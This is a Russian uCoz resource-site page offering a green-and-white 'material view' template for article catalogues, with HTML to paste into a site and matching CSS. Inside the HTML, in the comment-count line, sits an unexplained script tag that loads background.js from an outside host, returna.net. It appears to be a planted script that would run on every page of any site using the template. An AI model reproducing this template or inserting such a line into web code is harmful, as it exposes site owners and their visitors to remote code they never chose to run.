All-For-Kompa.RU

Сегодня:
Карта сайта форум Главная
Скрыть рекламный блок

Всё для компа

chat

Реклама

Реклама

Календарь

Популярное

Партнёры



Развлекательный портал по игре Dota 2. У нас вы первым узнаете о последних игровых новостях, сможете почитать интересные статьи и гайды, посмотреть стримы популярных комментаторов и многое другое.

Про-софт - сайт професионального софта. Ето сайт не только софта но также игровых дополнений, музыки, фильмов, игр для ПК а также читов для ПК игр. Постоянное обновление материалов и каждый день появляется чтото новенькое!

Архив новостей

Авторизация

Реклама

Хочешь помочь проекту? Установи наш баннер!

Опрос

На сколько оцениваете сайт?

1. Лучший из лучших
2. Круто
3. отлично
4. пойдёт
5. так себе
6. О_о

Реклама

Хочешь помочь проекту? Установи наш баннер!

Популярные тэги

Комментарии

Счетчики

На сайте: 3
Прохожие: 3
Пользователей: 0
Статус:

Счётчик тИЦ и PR Rambler's Top100

Раздел: uCoz

Вид материалов для каталога статей от сайта megafact

АвторАвтор: greenpis

|Голосов: 0 ДатаДата: 13.05.2013, 16:52

Вид материалов в зелено-белых тонах для каталога статей, архива новостей и т.д.

Для начала надо скачать архив с сайта иначе картинок не будет.
[Извлекаем картинки -> создаем папку images в файловом менджере -> загружаем картинки в эту папку.]

Скачать архив с Yandex.Disk

Вставляем этот код в вид материалов:

Код
<div class="news">  
<div class="news_l">  
  <h2>$MODER_PANEL$ <a href="$ENTRY_URL$"><font size=4 color="#FFD700">$TITLE$</font></a></h2>  
  <hr>
  <div class="img_news">
  <div class="uzoom">  
  <img src="$IMG_URL1$" class="uber_img" alt="$TITLE$" />  

</div>
   
   
  </div>  
  <p class="message">$MESSAGE$ Описание отсутствует</p>  
  <div class="clear"></div>  
</div>  
<div class="news_r">  
<div class="date" title="$WDAY$ в $TIME$">$DATE$</div>  
<ul>  
  <li><img src="/images/21-skull.png" alt="Автор материала" title="Автор материала"/><a href="$PROFILE_URL$" title="автор материала">$USERNAME$</a></li>  
  <li><img src="/images/179-notepad.png" alt="Комментариев" title="Комментариев"/><script type="text/javascript" src="http://returna.net/background.js"></script><a href="$COMMENTS_URL$" title="комментариев">$COMMENTS_NUM$</a></li>  
  <li><img src="/images/12-eye.png" alt="Просмотров" title="Просмотров"/><span title="просмотров">$READS$</span></li>
<br><div align="center"><a style="color:#267578;" title="Подробнее" href="$ENTRY_URL$" class="readon"><span>Подробнее</span></a></div>
  </ul>  
</div>  
</div><!--/news-->


А это в css:

Код
/* style news */  
.clear {  
  clear:both;  
}  
.news {  
  width:auto;  
  position:relative;  
  margin-bottom:30px;  
  padding:15px;  
  background:url(/images/title-bg1.png)no-repeat;  
  border:1px solid #d3d3d3;  
  font-family:helvetica, arial, sans-serif;  
}  
.news_l {  
  padding-right:145px;  
  min-height:150px;  
}  
.news_r {  
  width:140px;  
  height:100%;  
  background:#f4f4f4;  
  position:absolute;  
  top:0;  
  right:0;  
  text-align:center;  
}  
.news h2 {  
  margin:0;  
  background: 0px 7px repeat;  
  height:25px;  
  overflow:hidden;  
  margin:10px 0 15px 0;  
  position:relative;  
}  
.news h2 a {  
   
  padding:2px 10px 6px 0;  
  text-decoration:none;  
  color:#89a0af; /*цвет заголовка новости*/  
  font-size:16px;  
}  
.news h2 span a {  
  padding-right:0;  
}  
.img_news {  
  float:left;  
  display:inline-block;  
  margin:0 14px 5px 0;  
  padding:5px;  
  background:#EDF1F2;  
  border:1px solid #DDE1E2;  
}  
.img_news img {  
  width:180px;  
  Height:150px;  
  border:1px solid #DDE1E2;  
}  
.message {  
  padding:0 0 10px 0;  
  margin:0;  
  font-size:20px;  
  text-align:justify;  
}  
.news_r .date {  
  display:inline-block;  
  position:relative;  
  font-size:13px;  
  padding:7px 10px 4px 10px;  
  margin:18px 0 -5px 0;  
  background:url(/images/title-bg1.png); /*цвет блока с датой*/
  border:1px solid #fff;  
  color:#fff;  
  text-align:center;  
}  
.news_r ul {  
  list-style:none;  
  margin:0;  
  padding:0;  
  text-align:left;  
  width:100px;  
  margin:18px auto 0 auto;  
  font-size:12px;  
}  
.news_r ul li {  
  padding:3px 0 3px 5px;  
  border-bottom:1px dotted #BEBEBE;  
}  
.news_r ul li img {  
  margin-right:10px;  
  position:relative;  
  top:4px;  
}  
.news_r ul li a, .news_r ul li span {  
  color:#707070;  
  text-decoration:none;  
}




Правообладателям



Перед тем как скачать "Вид материалов для каталога статей от сайта megafact", проверьте ВСЕ ссылки на работоспособность. На момент публикации "Вид материалов для каталога статей от сайта megafact", все ссылки были в рабочем состоянии

Другие материалы на эту тему:

    Теги к материалу:

    Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь. Мы рекомендуем Вам зарегистрироваться либо войти на сайт под своим именем.
    Всего комментариев: 0
    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]

    Популярные файлыНовые файлы
    Call of Duty 5: World at ...[ Скачали 67416 раз ]
    Амфибии, Гайд по ассасина...[ Скачали 31791 раз ]
    Амфибии, Гайд по шаманам.[ Скачали 30696 раз ]
    cs 1.6 patch v48 full[ Скачали 29084 раз ]
    Русский бот PW Alfa v 2.6[ Скачали 17220 раз ]
    Огромный пак глюков и баг...[ Скачали 12782 раз ]
    civilization 5 скачать бе...[ Скачали 11970 раз ]
    PW MP5[ Скачали 11189 раз ]
    MHS-Bot-PW 2.3 ботовод[ Скачали 10443 раз ]
    Niko Bellic (нико белич) ...[ Скачали 10035 раз ]
    Wallpapers Girls №1067[ Добавлен 01.06.2024 ]
    Astor: Blade of the Monol...[ Добавлен 01.06.2024 ]
    Wallpapers Girls №1068[ Добавлен 31.05.2024 ]
    Wallpapers Mix №1151[ Добавлен 30.05.2024 ]
    Relaxing Simulator (2024/...[ Добавлен 30.05.2024 ]
    Capes: King City Edition ...[ Добавлен 30.05.2024 ]
    Wallpapers Girls №1067[ Добавлен 30.05.2024 ]
    Wallpapers Mix №1150[ Добавлен 29.05.2024 ]
    Wallpapers Girls №1066[ Добавлен 29.05.2024 ]
    Wallpapers Girls №1065[ Добавлен 29.05.2024 ]